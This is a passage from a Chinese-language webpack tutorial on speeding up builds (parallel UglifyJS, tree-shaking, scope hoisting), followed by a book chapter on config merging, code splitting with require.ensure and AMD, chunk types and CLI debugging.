}               

if (this.workers.length < this.maxWorkers) {
    var worker = fork(__dirname + '/lib/worker');
    worker.on('message', this.onWorkerMessage.bind(this));
    worker.on('error', this.onWorkerError.bind(this));
    this.workers.push(worker);
}

this._next_worker++;
return this.workers[this._next_worker % this.maxWorkers];

使用配置也非常简单，只需要将我们原来webpack中自带的uglifyPlugin配置：

new webpack.optimize.UglifyJsPlugin({
   exclude:/\.min\.js$/
   mangle:true,
   compress: { warnings: false },
   output: { comments: false }
})

修改成如下代码即可：

const os = require('os');
    const UglifyJsParallelPlugin = require('webpack-uglify-parallel');
    
    new UglifyJsParallelPlugin({
      workers: os.cpus().length,
      mangle: true,
      compressor: {
        warnings: false,
        drop_console: true,
        drop_debugger: true
       }
    })

目前webpack官方也维护了一个支持多核压缩的UglifyJs插件：uglifyjs-webpack-plugin,使用方式类似，优势在于完全兼容webpack.optimize.UglifyJsPlugin中的配置，可以通过uglifyOptions写入，因此也做为推荐使用，参考配置如下：

 const UglifyJsPlugin = require('uglifyjs-webpack-plugin');
  new UglifyJsPlugin({
    uglifyOptions: {
      ie8: false,
      ecma: 8,
      mangle: true,
      output: { comments: false },
      compress: { warnings: false }
    },
    sourceMap: false,
    cache: true,
    parallel: os.cpus().length * 2
  })

方案六、Tree-shaking & Scope Hoisting

wepback在2.X和3.X中从rolluo中借鉴了tree-shaking和Scope Hoisting，利用es6的module特性，利用AST对所有引用的模块和方法做了静态分析，从而能有效地剔除项目中的没有引用到的方法，并将相关方法调用归纳到了独立的webpack_module中，对打包构建的体积优化也较为明显，但是前提是所有的模块写法必须使用ES6 Module进行实现，具体配置参考如下：

 // .babelrc: 通过配置减少没有引用到的方法
  {
    "presets": [
      ["env", {
        "targets": {
          "browsers": ["last 2 versions", "safari >= 7"]
        }
      }],
      // https://www.zhihu.com/question/41922432
      ["es2015", {"modules": false}]  // tree-shaking
    ]
  }

  // webpack.config: Scope Hoisting
  {
    plugins:[
      // https://zhuanlan.zhihu.com/p/27980441
      new webpack.optimize.ModuleConcatenationPlugin()
    ]
  }

适用场景

在实际的开发过程中，可灵活地选择适合自身业务场景的优化手段。

工程演示demo

温馨提醒

本文中的所有例子已经重新优化，支持最新的webpack3特性，并附带有分享ppt地址，可以在线点击查看

小结

性能优化无小事，追求快没有止境，在前端工程日益庞大复杂的今天，针对实际项目，持续改进构建工具的性能，对项目开发效率的提升和工具深度理解都是极其有益的。

书籍完整目录

2.5 webpack 进阶

• 配置分离

• code splitting 异步加载

• 理解 webpack chunk

• webpack 调试

2.5.1 配置分离

在大型项目中，可能 webpack.config.js 会变得越来越臃肿，这个时候可以利用做 webpack-merge 插件。将配置定义在一个目录下面的不同文件中，然后通过 webpack-merge 来合并成最终的配置。

webpack-merge 详见 https://www.npmjs.com/package/webpack-merge

2.5.2 code splitting 异步加载

代码分割不仅仅是提取业务的公共代码，更应该关注的是实现代码的按需加载。 通过在模块中定义 split point ，webpack 会在打包的时候自动的分割代码块。定义 split point 的方式有两种

CommonJs 方式

require.ensure 方法：

/**
 * @param dependencies [Array] 模块依赖的数组
 * @param callback [Function]
 */
require.ensure(dependencies, callback)

eg:
// 模块 index.js

/**
 * [description]
 * @param  {[type]} ) { const      async [description]
 * @return {[type]}   [description]
 */
require.ensure(['./async'], function() {
    const async = require('./async');
    console.log(async.default)
});

// 模块 async.js

export default {
    a: 1
}

webpack 打包过后会生成三个文件

index.js 1.1.js vendor.common.js

index.js 的内容为

webpackJsonp([0],[
/* 0 */
/***/ function(module, exports, __webpack_require__) {

    'use strict';
    __webpack_require__.e/* nsure */(1, function () {
      var async = __webpack_require__(1);
      console.log(async.default);
    });

/***/ }
]);
//# sourceMappingURL=home.js.map

1.1.js 的内容为

webpackJsonp([1],[
/* 0 */,
/* 1 */
/***/ function(module, exports) {

    "use strict";
    
    Object.defineProperty(exports, "__esModule", {
      value: true
    });
    /**
     * async module
     */
    
    exports.default = {
      a: 1
    };

/***/ }
]);
//# sourceMappingURL=1.1.js.map

webpackJsonp 方法定义在 vendor.bundle.js 中:

window["webpackJsonp"] = function webpackJsonpCallback(chunkIds, moreModules) {
/******/        // add "moreModules" to the modules object,
/******/        // then flag all "chunkIds" as loaded and fire callback
/******/        var moduleId, chunkId, i = 0, callbacks = [];
/******/        for(;i < chunkIds.length; i++) {
/******/            chunkId = chunkIds[i];
/******/            if(installedChunks[chunkId])
/******/                callbacks.push.apply(callbacks, installedChunks[chunkId]);
/******/            installedChunks[chunkId] = 0;
/******/        }
/******/        for(moduleId in moreModules) {
/******/            modules[moduleId] = moreModules[moduleId];
/******/        }
/******/        if(parentJsonpFunction) parentJsonpFunction(chunkIds, moreModules);
/******/        while(callbacks.length)
/******/            callbacks.shift().call(null, __webpack_require__);
/******/        if(moreModules[0]) {
/******/            installedModules[0] = 0;
/******/            return __webpack_require__(0);
/******/        }
/******/    };

所以在 html 中应该先加载 vendor.bundle.js

<script data-original="js/vendor.bundle.js"></script>
<script data-original="js/index.js"></script>

在使用异步加载的时候需要注意一下两点：

1. 配置 output.publicPath: publicPath 为脚本在服务器中的文字，只有定义了 publicPath 才能通过 webpackJsonp 获取；

2. 是对于异步的 CommonJs 模块引入只能通过 require 的方式引用，不能通过 Es6 import 的方式引入；

AMD 方式

AMD 的方式也可以实现异步加载，这和使用 require.js 的使用方式基本相同，在定义模块的时候需要按照 AMD 的规范来定义

/**
 * @param dependencies [Array] 模块依赖
 * @param callback [Function]
 */
require(dependencies, callback)

eg:

// 定义模块
define('modula-a', ['module-c'], function(c) {
    //
    return ...
})

// 依赖模块
require(["module-a", "module-b"], function(a, b) {
    console.log(a, b);
});

这时候的 require 实现是异步的方式，只有依赖的模块加载完成并执行回调，才会执行模块的 callback，依赖模块的回调结果会作为参数传入 a, b 中。

2.5.3 代码块 Chunk

Chunk 是什么？

webpack 中 Chunk 实际上就是输出的 .js 文件，可能包含多个模块，主要的作用是为了优化异步加载。

Chunk 包含了哪些内容？

对于同步的情况，一个 Chunk 会递归的把模块中所有的依赖都加入到 Chunk 中。

对于异步的情况，在每一个 split point 上所有依赖的模块会打包进一个新的 chunk，和同步一样，依赖也是递归的，如果子模块依赖其他模块也会加入到 chunk 中，依赖的回调函数中 require 的其他模块也会打包进 chunk 中，以下公式表示 chunk 内容：

chunk content = recursive(ensure 依赖) + recursive(callback 依赖)

Chunk 分类

Entry Chunk

入口代码块包含了 webpack 运行时需要的一些函数，如 webpackJsonp, __webpack_require__ 等以及依赖的一系列模块。

Normal Chunk

普通代码块没有包含运行时需要的代码，只包含模块代码，其结构有加载方式决定，如基于 CommonJs 异步的方式可能会包含 webpackJsonp 的调用。 The chunk also contains a list of chunk id that it fulfills.

Initial chunk

与入口代码块对应的一个概念是入口模块（module 0），如果入口代码块中包含了入口模块 webpack 会立即执行这个模块，否则会等待包含入口模块的代码块，包含入口模块的代码块其实就是 initial chunk。 以上面的 CommonJs 异步加载为例:

<!-- 入口 Chunk, 未包含入口模块 -->
<script data-original="js/vendor.bundle.js"></script>
<!-- 包含入口模块的 Initial Chunk，执行入口模块 -->
<script data-original="js/index.js"></script>

Commons chunk 与 CommonsChunkPlugin

之前我们已经利用 CommonsChunkPlugin 来分割公共代码如 react, react-dom 到 vendor.bundle.js 中，这里介绍相关的原理。

以下面的配置为例

var webpack = require("webpack");
module.exports = {
    entry: { a: "./a", b: "./b" },
    output: { filename: "[name].js" },
    plugins: [ new webpack.optimize.CommonsChunkPlugin("init.js") ]
}

当有多个入口的时候，CommonsChunkPlugin 会把 a，b 模块公共依赖的模块抽离出来，并加上 webpack 运行时代码，形成一个新的代码块，这个代码块类型为 entry chunk。a,b 两个入口会形成两个单独的代码块，这两个代码块为 initial chunk。

在 html 中，可以如下加载:

<!-- entry chunk -->
<script data-original="init.js"></script>
<!-- inital chunk a -->
<script data-original="a.js"></script>
<!-- initial chunk b -->
<script data-original="b.js"></script>

更多 CommonChunkPlugin 的参数参见 https://webpack.github.io/docs/list-of-plugins.html#commonschunkplugin

require.include

可以使用 require.include 方法，直接引入模块，如下例子：

require.ensure(["./file"], function(require) {
  require("./file2");
});

// is equal to

require.ensure([], function(require) {
  require.include("./file");
  require("./file2");
});

这个方法可以实现一些分块的优化，当一个 chunk-parent 可能会异步引用多个 chunk-child 而这些 chunk-child 可能都包含了 moduleA, 那么可以在 chunk-parent 中 require.include('moduleA') 就可以避免重复加载 moduleA。

给异步 Chunk 命名

根据 split point 生成出来的 chunk 名称都是数字，可以在 split point 上定义 chunk 名称：

/**
 * @param chunkName [String] chunk 名称
 */
require.ensure(dependencies, callBack, chunkName)

也可以在 webpack.config.js 中配置修改 output.chunkName 来修改 chunk 名称

Chunk 优化

在一些特殊的场景可以利用如下这些插件来完成 Chunk 的优化，

• LimitChunkCountPlugin

• MinChunkSizePlugin

• AggressiveMergingPlugin

调试 webpack

在配置 webpack 的过程中，可以利用 webpack 提供的一些工具和参数来调试。

命令行参数

通过调用

$ webpack [--params,...] 

1. --progress: 能够看到打包进度

2. --json: 可以将打包结果输出为 json

3. --display-chunks: 可以看到打包出来的 chunk 信息

更多的参数见 http://webpack.github.io/docs/cli.html#progress

webpack analyse

analyse 地址：https://webpack.github.io/analyse/

可以通过 analyse 网站分析 webpack 的编译结果，如下图，可以分析 chunks, modules, Assets 等。